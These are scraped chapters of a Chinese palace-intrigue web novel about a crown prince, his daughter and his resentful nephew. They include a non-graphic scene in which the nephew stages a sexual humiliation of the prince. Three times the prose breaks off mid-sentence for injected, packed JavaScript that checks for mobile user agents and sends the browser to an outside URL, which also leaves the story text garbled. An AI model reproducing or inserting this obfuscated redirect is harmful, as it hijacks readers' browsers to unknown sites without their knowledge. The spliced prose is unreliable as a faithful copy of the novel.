李琰说着一顿,掀起乌黑狭长的眼睫,看向站在她身边的李守节:“我只能说,她都是为了你好。” “我明白的。” “妙闻走了之后,说实话,我一直对你放心不下,不过好在还有若华陪着你,这么些年她顾着你、顾着这个家、顾着你和妙闻的孩子,她也不容易,当年若是她能将那个孩子生下来,也不用——” “姐姐。” 说到这里,李守节忽然出声打断:“别说了。” 公主意识到了自己的失言:“啊,我不该说这些的,你忘了罢。”说着,他们的声音远去,远的有些听不太清了,李息宁站在原地,手心里渗满了汗水。 她眨了眨干涩的眼睛。 ……什么。 他们在说什么? 什么叫“当年那个孩子”? 她没有理解错的话,林、林娘娘她,她原来也是有过自己的孩子的吗? 这么想着,她轻着脚步,悄悄地跟了上去,歪过头,透过假山的缝隙,看向公主和皇太子的背影——他们凑得很近,旁边没有其他人,说话的声音虚实交错,飘到李息宁这边来的时候,像是蒙了一层纱。 “……我知道,我也听说了,所以我既是回来了,便想着能为你做些什么。” 李息宁又是一愣。 做什么? 有什么事是皇太子做不了,反倒要让姑母这个藩国公主替他去做的? 没头没尾的,李息宁听不明白,但还是继续尖着耳朵偷听。 公主说:“我和睿卿商量过,豫王和你闹得不愉快,不过既然这个时候了,不出乱子最好,你也再忍忍他,一切等过了明年再说——说到底嗣昭也只是个小辈,姑侄一场,又是看着他长大的,谁都不想事情闹成那样,况且,真到万不得已的那一步,排在你我后面的,还有八弟、十二弟和十四弟,嗣昭他又岂会不明白?他只是……” 李守节说:“他只是恨我罢了。” 公主没有接话。 她负手往前走,风吹动她的衣摆,将她身上的凤髓香吹散,飘得很远很远,她艳丽的容颜有些疲倦了,缓缓站定,如一株松那样。 她仰起头,看向东边的宫墙:“建德二十三年,我和睿卿都在幽州,长安究竟发生了什么,我们其实也不清楚,收到四哥的信时,事情就已成了这样,再后来的事,我们也就都知道了,我们的九哥,他变了一个人似的,该心硬的时候心软,该心软的时候,心却又像是铁一样的硬……” “若是我们的大哥和四哥有一人尚在,现在或许也不会是这样了。” 宫中常称父为哥,皇帝行九,于是亲王公主皆称其为“九哥”。 到了李息宁这里,她自然也可称李守节一声“六哥”,但这称呼实在有些叫不出口,她也从来没叫过。 不过听公主称呼“九哥”如此之自然,想来他们兄弟姊妹之间,都是这样唤宅家的。 至于大哥和四哥,应该就是指已经故去的废太子李守让,和四大王李守谦了。 理清了这层关系,李息宁继续往下听。 公主说话的声音很轻,轻到被风一吹就散,她说: “母亲走得早,我们都是大哥抚养长大的,其实很多时候,比起九哥,大哥他才更像是我们的父亲。我最近总是能梦到他,梦到一些我们小时候的事,你、我还有四哥,我们几个围在他的身边,看他写字、读书、批折子,一看就是一下午,他也会弹琵琶给我们听,偶尔我们犯了错,他也不会责怪,只会说一句话,我到现在还记得他说的那句话,他说——” 李守节叹了口气,缓缓道: “他说——‘是寡人之过也’。” 《左传》有云,僖公三十年,晋侯、秦伯围郑,郑伯见烛之武,曰:“吾不能早用子,今急而求子,是寡人之过也。” 李守让对弟弟妹妹们说这话,意思是:我之前没有教好你们,所以你们才会不懂事,才会撒谎,这都是我身为兄长的不称职,是“寡人之过也”,我又怎么能去责备你们呢? 公主说:“我有的时候在想,其实也是我们累了大哥,他做长兄、做父亲、做储君,做得太久,他为我们、为大唐考虑的太多,到最后反而忘记了自己,忘记了该怎么去做回一个臣子、儿子了。” 李守节:“……” 他脸上的表情淡了。 金黄色的牡丹簪在他的鬓角,衬得他愈发雍容华贵,过了很久,他轻轻摇了摇头,说:“阿姐这话像是在点我了。” 公主说:“我没有那个意思,姊奴,再陪我走一走吧。” 李守节却没有跟上去,他说:“旧事重提,我的心很乱,容我先去别的地方静一静,稍后再来。” 公主也不强求,只说:“去罢。” 李守节便走了。 李息宁心下惴惴,犹豫着要不要也跟着离开,但又害怕一出门就和李守节打了照面,于是她偷偷瞄了一眼。 奇怪的是,公主却并没有动,她站得很直,许久转过身来:“别藏着了,出来吧。” 李息宁的脸瞬间红了起来,她确保李守节已经走远了,才垂着胳膊,尴尬地从假山后踱出。 公主上下打量了她一眼:“你阿耶跑了,那换你来陪我走一走吧。” 于是李息宁上 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公主笑着说:“姑母有时候也会梦到你,还会在梦里叫你嗣昌呢,一叫你你就跑过来了,像小狗一样。” 李息宁嘟囔:“我才不是小狗。” 月光落下来,夜风轻轻地摇,孩童在远处叽叽喳喳地吵闹,只隔了一堵宫墙、一座假山,却好像隔开两个世界似的。 公主挽着李息宁的手,低下头去看她,她虽是笑着,眼底却带着些若有若无的愁绪,她说: “你爹爹只有你这么一个孩子,这么些年他来待你如珍似宝,你一定要好好长大,孝敬他,多多陪陪他,不要让他伤心,他只有你了。” 李息宁的心微微一动:“……” 她抿了下嘴唇,说:“怎会?不是还有姑母吗?” 公主说:“人这一生中的缘分,其实都是有定数的,像我们做兄弟姐妹的,缘分就浅,长大后各自成家,谁知道再见面会是什么时候?所谓‘人世死前唯有别’,像姑母和你阿爹兄弟姐妹四人,如今也只剩下我们两个了……” 李息宁垂下眼睛:“……” 这话题太过沉重,她不想接。 也怪不得爹爹听不下去跑了,现在她也想跑。 公主牵过她的手放在掌中:“姑母这次回来,在长安也留不了太久,以后的日子,还是要你们父女二人相依为命才是。” 李息宁刚想说一个“好”,声音却哑住了。 她抬起头去看她,眼底一阵茫然。 她刚刚说了什么? 什么叫——你们“父女”二人? 李息宁艰难地张开嘴巴,似乎想说话,却见范阳公主极缓极缓地摇了摇头。 她发髻上的凤钗也跟着一起晃动,扯出一道道金色的丝线,月亮悬在她的头顶,明亮得吓人。 李息宁后知后觉地感到一阵冷,先是手脚,再顺着四肢蔓延到五脏六腑,冻结了她的全部血液,她有些呼吸不过来了。 她简直要晕过去了。 她希望她不要再说了,她希望她不要再就这个话题往下说了! 一句话的功夫,李息宁已经冷汗涔涔,面白如霜。 “别怕……” 公主拍了拍她的手背。 李琰低下头,在李息宁的耳畔低语。她的声音很轻,像一片云,又像一阵风,引得李息宁心中万分惶恐。 李琰说:“你不用害怕,这个秘密,姑母会替你保守。” 10. 禁庭春昼(九) 皇太子避了众人,独自在牡丹园漫步,月光洒在他脸上,洒在他鬓角金黄色的牡丹花上,洒进他的眼底。 不知道为什么,一晚上他明明什么都没有做,此刻却累极了。 他的酒也差不多要醒了。 清醒后呢? 他想。 其实还不如一直醉着。 他踏着鹅卵石走,循着月色,绕进了一道月洞门。 这里静谧十足,罕见地没有掌灯,墙角栽着几簇茂盛的凤尾竹,一阵风动,满地荇影摇曳。他叹了口气,孩子们闹了他一晚上,终于都去玩了,姐姐拉着他说了那么多话,那些他早就想忘掉,却又被逼迫着想起来的往事。 他的心累了,想着此地清净,能稍歇一歇。 前脚刚踏进门内,忽然,一只手从身后抱住了他,将他推向了墙后的黑暗—— …… “姑母这次离开长安,是要去相州吗?” 李息宁陪着范阳公主坐到亭中,小心翼翼问出了那个困惑她良久的问题。 北方在打仗,一打就是很多年。 建德以后,藩王领边军已成惯例,其中最有权势的便属范阳公主李琰,她手握军权,统辖瀚北海三十六部,威名远播边荒,深受帝王宠信。 李息宁早就听说公主此次会在长安留很久,不出意外的话,会从今年夏天住到第二年的春天,她也听说,皇祖父嫌幽州太远,要再赐给公主一块封地,或许公主一家此次就要到相州去了。 相州,那可是皇太子曾是亲王时的藩国,意义非同一般。 公主说:“是从哪里听来的?” 李息宁道:“大家都这么说。” 公主摇头:“不过是些风言风语罢了。” 李息宁收回目光,看向远处:“哦。” 她们安静着,不知过了多久,范阳公主开口了:“你阿耶没有对你说过吧,明年的时候,朝廷会对吐蕃用兵,到时候四境戒备,我又怎能离开瀚北海,到相州去呢?” “我以为是宅家不想让姑母走那么远。” “不想我去那么远,留在长安岂不是更好吗?” 范阳公主笑着,她的披帛被风吹动,云一样地从肩膀上飞了出去,飘落在了花丛当中。 李息宁主动出去帮她捡,刚弯下腰,便想到姑母刚刚说自己像小狗,于是情不自禁地回头看了一眼,果然,她正在瞧着自己微微发笑。 我才不是小狗! 息宁脸颊红了,捡回披帛后,扭捏着递给姑母,姑母说:“嗣昌这个名字,是当年跟着你大伯家的孩子一起取的,像你堂哥,后来过继给你四伯的嗣昭,名字就和你很像。” 李息宁不愿意了:“我才不要和他名字像。” “为什么?” “他总是冷着一张脸,从来不跟我说话,我上去向他打招呼,他看都不看我,还有一次,我过桥的时候,他们家的马车非要与我抢道,半天堵在桥上过不去,都险些把我挤到水里去了,后来我才知道,那竟然是他们家下人的!” 李息宁越讲越生气,几乎是在告状:“我跟爹爹讲这事,爹爹也只叫我算了——这怎么能算了?爹爹可是皇太子,我是皇太子的孩子,我出门在外,不敬我便是不敬东宫、不敬爹爹,怎么能就这样算了?” 公主道:“那依你之见,你想怎样?” 李息宁沉默了,其实她也说不出究竟想要个什么结果,让豫王登门道歉是不现实的,派人把他们家不长眼的下人教训一顿,又显然不是君子所为,她也想不出什么好办法,只说: “那、那也不能就这么算了……” 公主说:“今天人多,你瞧见你堂哥了没?我光顾着和你爹爹说话,都没仔细留意他,他是已经回去了吗?” 豫王这人向来神出鬼没,又不合群,李息宁不会对他刻意留意。 “谁知道呢?或许已经走了吧。” 公主摇了摇手中纨扇,双目微眯,似乎是在想事情,忽的手上动作停顿,语气轻缓,随口道: “你爹爹呢?怎么去了这么久还不回来?” 也是。 爹爹不是说去别处歇一歇吗?怎么这么久?该回家了。 于是李息宁拍拍衣服起身:“我去找他!” …… …… 对方力道很大,李守节的脊背猛地撞向冰冷的墙面,他头晕目眩,一句“放肆”还没来得及说出口,汹涌的热吻就压了上来。 月色照进这一方小院,他却看不清对方的脸。 好不容易清醒的脑子又因这兵荒马乱的情事浑噩起来,夜里的凉风吹在身上,吹得人发冷,他的心像是沉入到了湖底,冰冷的湖水从四面八方挤过来,压得他透不过气。 “殿下?殿下?” 那人连唤了他两声,是个女人,见他没反应,又说:“殿下,他身上好烫……这、这,还继续吗?” 动作一停,李守节得空喘息,他眼里盈着如雾般的水汽,听到不远处有一道人声响起,那人说: “……继续。” 李守节忽然意识到,刚刚的话,不是说给自己听的。 他勉强睁着眼,表情透着茫然,他不认识眼前这个人,但刚刚说话的人,声音似乎有些熟悉。 但还没来得及反应,整个人便被一股蛮力翻了过去,压在了墙面上,紧接着,有什么冰凉的东西…… 李守节口中溢出一声呜咽,撑着墙的手发软,身上直冒热汗,他缓慢地抬起头,摇摇欲坠地看向背后的人—— 是、是谁? 他难受,难受得几乎要吐出来,他不想弄脏自己的衣服,于是去抓对方的手,他颤抖着,双瞳漆黑一片。 罢了。 好冷…… 夜里,一切的孽欲都会被掩藏。李守节蹙着眉,迷蒙、含混、半醉半醒,由着那些令人目眩神迷、绵延不断地情潮袭入脑海,冲刷干净他所有的思绪。他被人吻着,被人尽情地亲吻那张美丽、漂亮到有些邪性的脸,从鼻翼、到眼睛、再到眉梢,一直到鬓边…… 他已彻底沦入到了一片纯黑色的梦境当中。 电光石火中,他脑中浮光掠影般闪过一个画面、一样东西—— 他恍恍惚惚地去想:是什么呢? 好像…… 是一朵金黄色的牡丹。 …… 玉殿春。 他一慌,松开了对方压着他的肩膀,他把控不住思绪,但他想: ——他头上的那朵牡丹花好像不见了。 他伸手去摸。 果然,鬓角空空如也。 “……爹爹?” 李息宁站在小园香径正当中,两边的牡丹花丛被夜风吹得玉体摇曳,她看着掉落在地上的黄牡丹,花瓣碎了几片,但形状依旧完好,息宁左右转了转脑袋,没有看到李守节的人影。 爹爹去哪儿了? 怎么自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382561|200205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和姑姑说几句话的功夫,就哪也找不到他了? 他是藏起来了吗? 她弯腰,将那朵花轻轻地拾了起来,掸去灰尘。 那人手上动作未停,持续对他进行着冒犯,他承认是有几分快意在其中的,所以一时间忘了反抗,可现在,那种要命的感觉正在,一波接着一波地涌来。 他吓得快要疯了,根本不敢发出任何声音,他将脑袋埋进那人怀里,手却悄悄摸上了她的咽喉,不动声色地掐住了她,声音很轻很轻,他说:“停、停下来……” 不要再做了。 李息宁站在垂花门外,原地捻着那朵花。 “……” 再近一步…… 但凡再近一步。 月光从她的头顶照了下来,将她的影子拉得很长很长,拖曳在自己的身前,月洞门里的小院暗影重叠,令她有些不安,她张了张嘴,想要再呼唤李守节,却恍然间,拨云见月一般,瞥见了地上的一片衣角—— 她的脑中思绪被瞬间斩断。 那些传遍长安城大街小巷的风流轶闻涌上她的脑海,她几乎是落荒而逃,一转头,不偏不斜正撞在李宝宁身上。 宝宁不知道什么时候冒出来的,眼疾手快搀住了她的胳膊,两人挨得很近,影子暧昧不明地交在一起。息宁不知想到了什么,又是一阵大骇,抬手将他推开。 宝宁不明白她为什么一惊一乍:“你干什么?吓死我了!” “你才吓死我了!” “我娘不是让你来找舅舅吗,你在这里愣着干嘛?你找到他了?” “啊……” 李息宁愣愣的,显然有些慌乱:“没、没有……” 李宝宁看向她手中的花枝。 那朵玉殿春是他亲眼看着永宁郡王给太子戴上去的,怎会不认得:“那你手中的又是什么?” “这、这是我捡到的……” 她不擅长说谎,此时紧张得舌头都快要打结了。 “是吗?” 李宝宁狐疑地看着她,又探头往月洞门里看了看:“舅舅没在这里?” “没、没有!” 说罢,她立刻拉上李宝宁跑了。 待他们彻底走远后,李守节才敢大声出气。 他脸上不断地往下淌汗,浑浑噩噩中看清了对方的脸,是一个样貌古怪的女人,骨架很大,他心里一阵恼怒,对准对方的下颌,一巴掌扇了上去—— 那女人被他打了之后,身形连歪都不带歪的。 “你放肆!” 李守节很少这么失态,他强压住心头的惊悸:“是谁指使你的?!” 话音刚落,一阵清脆的抚掌声在不远处的廊下响起。 一下。 一下。 又一下。 寂静的夜里格外刺耳,击碎了黑暗中的僵滞。 豫王由廊庑下走出,短暂地于月光中停留,又迈入了更深的阴翳。 他停在李守节面前。 豫王笑了笑:“这事若是郎君不肯配合,纵使再有人指使,恐怕也做不下去吧?” 李守节:“……” 豫王借着月色看他的脸,试图从他的脸上看出一些难堪: “早听人说过,皇太子这些年来者不拒,甚至连女人都能委身,我起初还不相信,直到今天亲眼见到,真是令侄儿大开眼界。” 豫王说: “皇太子殿下,你真恶心。” 11. 禁庭春昼(十) 豫王,废太子李守让的儿子。 建德二十三年,李守让火烧东宫三大殿,他被废后,皇帝将他的妻子儿女全部处死,只有早先年过继给四大王的庶子逃过一劫,四大王过世后,这个庶子嗣位梁王,后来又改封豫王。 这些年朝野内外,对太子不满的人不在少数,隔三岔五就会有皇帝要改立豫王的声音出现,而豫王的人也会借此生事,李守节又是真的不检点,总是能让人抓住各种由头放到朝堂上说,皇帝睁一只眼闭一只眼,李守节又背靠弘农杨氏,有妻兄杨太尉撑腰,完全不予理会,只随他们去也,至于这样的事—— 他没想到豫王敢这么干。 “还不退下?” 豫王看了眼身后的人:“还是说你觉得伺候得郎君周到,等着在这里向他讨赏吗?” 那人虽说是位女子,却一身内侍装束,却与内侍普遍瘦小的身形不同,一看就知道是混进宫的。 李守节心想,他这好侄儿真是有心,还专门给他挑这样一个人来,只可惜,他不喜欢这种类型。 豫王把话说完,她竟然还真的看了李守节一眼。 李守节很是头痛:“……滚。” 脚步声远去,又有一阵风吹来,李守节算是彻底醒了。 他自顾自整理衣服,豫王凑过去替他扣腰带,他没有阻拦,心安理得地接受他的伺候。 他盯着豫王看了好一会,悠悠开口: “从哪里找的这么个人?” “怎么?郎君瞧上眼了?想着纳到东宫里去?” 李守节说:“也不是不可以。” 说罢,他又说:“只是我很好奇——你冒险将此人带进宫里,纵是我名誉扫地,你恐怕也难逃其咎,难不成你豫王殿下仅仅只是想看我出丑吗。” 豫王替他扣好金带勾,用力扯了一下,反笑道:“你的丑事那么多,还犯得着我特意来看?” 李守节冷笑:“所以,你图什么?” “我图什么?” 豫王掀起眼皮,眸子是深不见底的纯黑,半点光色也无,这般直勾勾钉在人身上时,让人无端生出几分寒意。 他唇角勾起一抹凉薄的笑: “宅家这般疼你爱你,就连出去换套衣服都要将你带在身边,你在他的宫中做这事,恐怕也不是第一次了,宅家就是知道了,想来也会替你遮掩周全,你们父子情深感天动地,我岂会不知?我只是想提醒太子殿下,当年的事,你们是怎么——” 皇太子皱起了眉头,他打断了豫王的话:“我已经说过很多遍了,当年之事,不是我的本意!” “好好好,不是就不是吧。” 豫王这话说得很轻,轻飘飘地就落了地,他说:“那时候,我也像嗣昌这么大吧,不对,我比他要小,大概有……十岁?” 李守节没有说话。 “现在想想也真是庆幸,我十岁的时候就认清了太子殿下你,只可惜,我那好弟弟,大抵到现在还不知道,他的爹爹,究竟是个什么样的人吧?” “……” 李守节面色微改,周身的气息瞬间沉了下去。 豫王盯着李守节的眼——那双与他形状相似的眼,相似的面容,看上去竟如一对同胞兄弟,可豫王的阴郁乖戾,与李守节的淡漠抽离,简直判若云泥。 豫王接下来的话像是淬了毒的针,一字一句扎进李守节心里,他说: “他的爹爹,他的父亲,便是你,当朝的皇太子殿下,其实是一个不折不扣的表子、刽子手、伪君子——” “我说得没错吧?” 豫王又笑了。 李守节未发一言,指尖死死攥着袖角,指节泛白,连指腹都掐出了红痕。 过了不知多久,他说话了。 “嗣昭。” 他第一次唤了豫王的名讳,语气平静无波,却字字清晰:“你真是疯了。” 豫王只是笑。 李守节说:“你若真有本事,便将我从那个位置拽下来吧,我会感谢你的。” 说罢,他理好衣服,确保旁人看不出异样,神色木然地转身往回走。 这么多年了,豫王还是不肯放过他,非要闹到不死不休吗? 还在说当年…… 都多少年过去了,那人都死了多少年了,他还在说当年…… 李守节心想:实在是看在……的面上。 不然,他早就…… 这想法甫一出现,连李守节自己都被惊出了一身冷汗,他停下脚步,静静吹了会风。 旁边是一座假山,一座通体由太湖石堆砌而成的假山,依照着西湖飞来峰的形状建成,他春天在这里赏花,夏天在这里听雨,秋天观叶,冬天看雪,在这偌大的太极宫,极少极少能让他内心得到一丝安宁的地界。 于是他情不自禁地,顺着小径往山上走。 风在吹、叶在动、莺鸟在啁啁鸣叫,他忽然忘掉了刚刚的不愉快,转而想起来很久很久之前的事,久到记忆都要模糊掉了,而那些影影绰绰、如梦似幻的往事中,他仿佛听到了有琵琶的声音,从更加遥远的地方杳杳飘来,于是他加快步伐,拾级而上…… 会是谁呢? 曾经在这里弹过琵琶的人,是谁呢? 会是……吗? 他知道不可能,往事成空,如云如烟,他是知道的,可是他想,万一呢?万一我还醉着呢?万一这是一场梦呢? 醉也好,梦也好。 让我见见你吧,让我再见一见你吧! 他一口气跑到山上的亭子里,凤尾竹簇拥的小径尽头,帷幔被风吹得鼓起,起起又落落。 可真当站到亭外,他却又生出了一些近乡情怯的退缩。 他疯了吧。 那些会为他弹琵琶的人都已死去多年,哪怕见了如今的他…… 恐怕也只余失望罢了。 豫王说的,其实也没错,他确实、确实是…… 他已经不配,再去思念任何人了。 帷幔被风吹开,露出亭中一道清瘦的人影,竟然真的有人在。 李守节没有说话,继续抬脚,一步一步迈上台阶,走过去,将帷幔掀开—— 李息宁一个人坐在亭子里,手上正拎着那朵牡丹花,阴晴不定地看着他。 李守节:“……” 她手中的花枝在指尖轻轻摇晃,朦胧的花影也跟着摇晃,风吹帷幔,携起一阵淡淡的芬香。 她说:“爹爹,过来。” 李守节就向她走去。 她站起身,如鹤一般的身姿挺拔而舒展,她伸手,想把那朵金黄色的玉殿春重新给父亲戴上。李守节配合她的动作,李息宁撩开他鬓边的发丝,轻轻地、将花簪在他了的鬓角。 “我不明白。” 应该是一滴眼泪,从李息宁的眼角落了下来,如一颗流星,坠在地面上,啪地一下就碎了。 她重复说:“爹爹,我不明白。” 她摇了摇头,她哭了,哭得无比伤心,哭得泪如雨下。 她把李守节的心哭成了一团乱麻。 李守节手足无措地站着,脸上的表情困惑又茫然,他下意识伸出手,想去抱她的胳膊,想去抚摸她的脑袋,想像往常一样去哄她、安慰她,可豫王话却在此时刺了回来…… 是啊,李息宁是个优秀的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382562|200205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子,她从小便懂得尊敬师长、体贴大人,她一直是他的骄傲,他们应该一直都是彼此的骄傲才对。 可现实呢? 现实却是她的父亲、这个把她生出来的人是如此的不堪,哪怕他贵为皇太子,腐烂的灵魂也早已不值一钱…… 他还配做李息宁的父亲吗? 这念头刚起,李守节就已经难过得要滴下泪来,李息宁用力把他挣开,让他生出几分如释重负的狼狈感。 李息宁抽泣着、眼含热泪地大声质问,声音里满是委屈与不解: “爹爹,你为什么总是这样?你为什么总是这样?!” “做让我、让娘难过的事……” 李守节蓦然一怔,僵在了原地。 那句质问像一把钝刀,将他的心,连同过往一点点割开,血流了出来。 接着,他的眼睛慢慢地、慢慢地垂了下去。 他恍然间意识到,其实已经很久、很久没有人跟他说过这样的话了。 儿时在宫中,他见到有娘子在教训自己闯祸的孩子,她用细柳条抽他们的小腿肚子,抽得他们一把鼻子一把眼泪、红着脸嗷嗷大叫,李守节不巧路过,正撞见了这一幕,他们便喊他,喊:“六哥救我,我要被我娘打死了!”李守节本想拔腿就跑,可毕竟是当哥哥的,做不到“见死不救”,只好硬着头皮劝姨妃娘娘不要再打了,要打就打我吧…… 可他是正宫皇后所生,又由皇太子亲手抚养,有谁敢打他? 到了学堂,弟弟对他说:“六哥,我有的时候真是羡慕你!” 羡慕我什么?他那时很苦闷地想,羡慕我没有娘吗? 他的胞兄胞姐都曾感受过母亲的爱,独他没有,母亲生下他就过世了,甚至都没抱过他几次,他是生来便被母亲遗弃了的人,你们又羡慕我什么呢? 他后来时常闯祸,其实也只是想让哥哥姐姐、想让父亲多多地关注一下自己,想告诉他们,看看我呀,我在这,看看我吧!好在哥哥姐姐很爱他,他们给他收拾烂摊子,将他弄乱的房间一点点收拾整齐,将他沾上泥土的脸蛋用丝帕一点点擦拭干净,他们说:“姊奴,不许再这样了!” 真好啊。他喜欢这种感觉,他笑着抱着哥哥,抱着姐姐,那是世界上对他最好的人,他说:“我下次不会啦!” 那也是他这辈子,最真切、最坦荡的模样。 时至如今,太子被废,四大王去世,范阳公主远赴翰北海。 而他,而他…… “我不会了。” 他抬头,捧着她的脸,细心地揩净女儿脸上的热泪,带着几分忏悔,很认真地说: “息宁,原谅爹爹吧,我以后再也不会了。” 东雩别院的海棠树全倒了,再也不会长出来。 那天的事像是一场梦。 很久之前,李息宁做的那个梦,梦里的父亲在海棠树下浸满了月光,风一吹,满树寒英若雪,扑簌簌飘落下来,挂起一道帘幕,再一眨眼,他就不见了。李息宁在梦里发了疯似地找,上穷碧落下黄泉,两处茫茫皆不见,她再找不到了父亲的踪迹,她静下来,仔细地去想,她猜,爹爹应该是变成蝴蝶飞走了,或者真的是变成了神仙,不然她怎么会哪里都找不到呢?他藏进了泥塑成的偶像中,他成了一尊菩萨,一尊佛像。总之,她再也找不到他、见不到他了,他再也不是她的父亲、她的爹爹了。 想到这里,她忽然变得很难过,滔天的悲伤洪水般淹没了她,她就这样在梦里嚎啕大哭,她不顾形象地哭着,闹着,求蝴蝶飞回来,求他从泥胎里面出来,求神仙把他还回来…… 她于是讨厌海棠花,觉得那是不吉利的。 12. 月探金窗(一) 六月入夏,天气转暖,东雩别院的女眷脱去了厚重的夹衣褐衫,换上了轻纱面料的齐胸襦裙,她们高耸着如云的发髻,手执纨扇,在花园中嬉笑玩闹,轻扑彩蝶,你追我赶,间色长裙被风吹得鼓起,随着她们的动作飘扬舞蹈,如一片片婀娜的彩云,为这桃红柳绿的皇家别院更添一分生机。 欢笑声远远地飘荡开,一直飘到湛露池南岸的水榭亭台,莲叶田田,皇太子倚靠栏杆,歪过身子,望向槛下一池朱华。 他穿了件质地上好的青纱袍,轻容纱的面料如云似雾,拢在他的身上,他一只手臂探出栏杆,掌心将饵团碾碎,一团鱼饵下去,湛露池中各色游鱼拨开莲叶争相涌来,顷刻间将饵料抢食一空。 柔和的光线照彻湖水,好似透过一扇明窗,而那长年寸波不起的水面下,静动交织的游鱼盘旋散去,携走了一团由红、白、金三色鱼鳞翻滚出的细碎光芒。 “郎君,二公子来了。” 李守节看罢游鱼,接过绸帕净了手,转头看向穿廊而来的李宝宁。 待他走近了,李守节免了他的礼,故意玩笑他说:“怎地,叫你爹说教了一通,这回知道走大门了?”然后向他招手,示意他可以坐到自己身边来。 宝宁向他靠了靠,没有坐,他说:“舅舅,表弟说他的小猫下了崽,我想抱一只回去养着。” “是吗?” 李守节想了想,好像府中的猫确实下了崽,一窝小猫,什么花色都有,李息宁可高兴了,每天一回家就是抱着猫玩,甚至说那只母猫是只有功的猫,要让皇祖父封它当什么……白毛阁大学士?她是在晚饭时候说这话的,当时把李守节和林若华逗得哈哈大笑,林若华说:“姊奴你瞧,且等咱们息宁以后成气候罢,到时候府上的小猫小狗都能得几口皇粮吃!” 宝宁见李守节只是笑,也不起身带他找猫,有些心急了,他拽着李守节的袖子撒娇:“舅舅……” 李守节逗他:“那你的聘礼带了吗?” “聘、聘礼?” 李宝宁睁大了眼睛,眨了两下。 “对啊,你来聘小猫,不带聘礼怎么能行?”李守节靠在栏杆上,摊开手,摆出一副无奈的表情,他说:“你表弟前几日刚去求了宅家恩典,那狸奴现在是宅家敕封的‘白毛阁大学士’,是有官籍在身,你来接她的子女,不带上聘猫礼怎么能行?” 李宝宁一头雾水:“那我都需要准备什么呀?” “聘猫讲求‘以礼相聘、以契为证’。” 李守节说:“礼要有盐、茶叶、糖、芝麻之类,由红纸包好;契要写明纳猫日期、花色特征、主人家的承诺、猫的职责,请邻里见证画押,一式两份,一份留己,一份压于家中神龛旁,以求家宅平安。” 宝宁眉头皱了起来:“啊……这么麻烦呢。” “还有呢。” 李守节说:“迎猫归家的时候,要用竹斗装猫,外罩布袋,途中遇坑洼,要用石头填平,若路途远,可在斗中放少量小鱼干安抚……到了家之后呢,要先拜灶神,点香烛,再认猫厕,最后才见家人。” 宝宁已经听得脑子不转圈了,李守节差不多也说完了:“我小的时候在宫里聘猫,其中还有赐名一环,聘礼用锦缎包裹,契书留档,不过在宫外就不再讲究那么多,更看重缘分罢了。” 这么一大堆规矩讲过,宝宁也不知听进去了多少,他一副似懂非懂、懵懵然的样子。 李守节看着他笑。 临近晌午,阳光掠过水面,照进这一方水榭,照在宝宁白皙的脸上。他一双形状狭长的杏子眼生得格外喜人,眼尾上挑,更添几分俏致,明媚的光线照达他的眼底,纯黑色的眼珠如琉璃般璀璨,他的肤色与唇色都很淡,整个人清透而匀称,唯有眉眼间些许墨色,望之淡极而生艳。 过了很久,李宝宁“哦”了一声,他回去了。 宝宁前脚刚走,李息宁后脚就进了家门。 她今天和一众宗室子弟在东宫打马球,那里现在平旷得很,打球再合适不过。她马球技术是她爹亲自教的——这位皇太子还是六大王的时候,每天十二个时辰,除去吃饭睡觉的时间,其余能有六个时辰满长安顽耍,飞鹰走狗无所不为,别说是马球了,就是让他倒着打马球,这长安城里估计也没人能比得过他。李息宁师承李守节,自然不在话下。 她敞着衣领,拿丝绢揩干净了额头上的细汗,问:“表哥来了吗?” 还是聘猫的事。 李守节继续喂鱼,他懒洋洋地伏在红漆栏杆上,袖子撩上去,露出干净的手臂,看去很是清凉,对岸的女子们欢笑声渐远,应是到别处去了。水榭下,鱼戏莲叶间,淡淡荷香随风飘来。 李守节说:“你们俩什么时候关系这么好了?” 明明上次宫宴的时候两人还看起来不是很对付呢! “表哥想要我的小猫,我带他看看,”李息宁整理了衣服后,一屁股坐在他的身边,她看着父亲悠闲的神色,继续问:“表哥他今天没有来过吗?” “来了,我让他准备聘礼去了。” “……” 李息宁大概知道是怎么回事了,她对父亲这喜欢逗小孩的毛病实在有些无奈,但也不好说什么,只叹了口气:“好吧。” 她本来还想和表哥一起玩呢。 李守节又抓了一把饵料,撒了下去,鱼群倏然聚来,又四散而去。 李息宁忽然想:他今天怎么在家里? 没有公务吗? 父亲懒散的模样吸引了她的注意,她情不自禁地想到了那天的事,那天,千秋殿后,他……和谁在一起呢?她忽然把脑袋探到他的肩膀上,李守节被她突如其来的靠近吓到了,他回头,问:“怎么了?” 李息宁低头,拎起他的袖子,在他的衣服上闻了闻,她像一只小狗一样,来回地嗅,嗅得李守节有些痒。 他身上只有很淡的零陵香气,掺杂了些荷香,没有别的味道,也没有酒气。 奇怪,竟然真的没有出门。 “怎么样?说话算话吧?” 李守节自然知道她在想什么,无非是那天答应了她,以后不再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 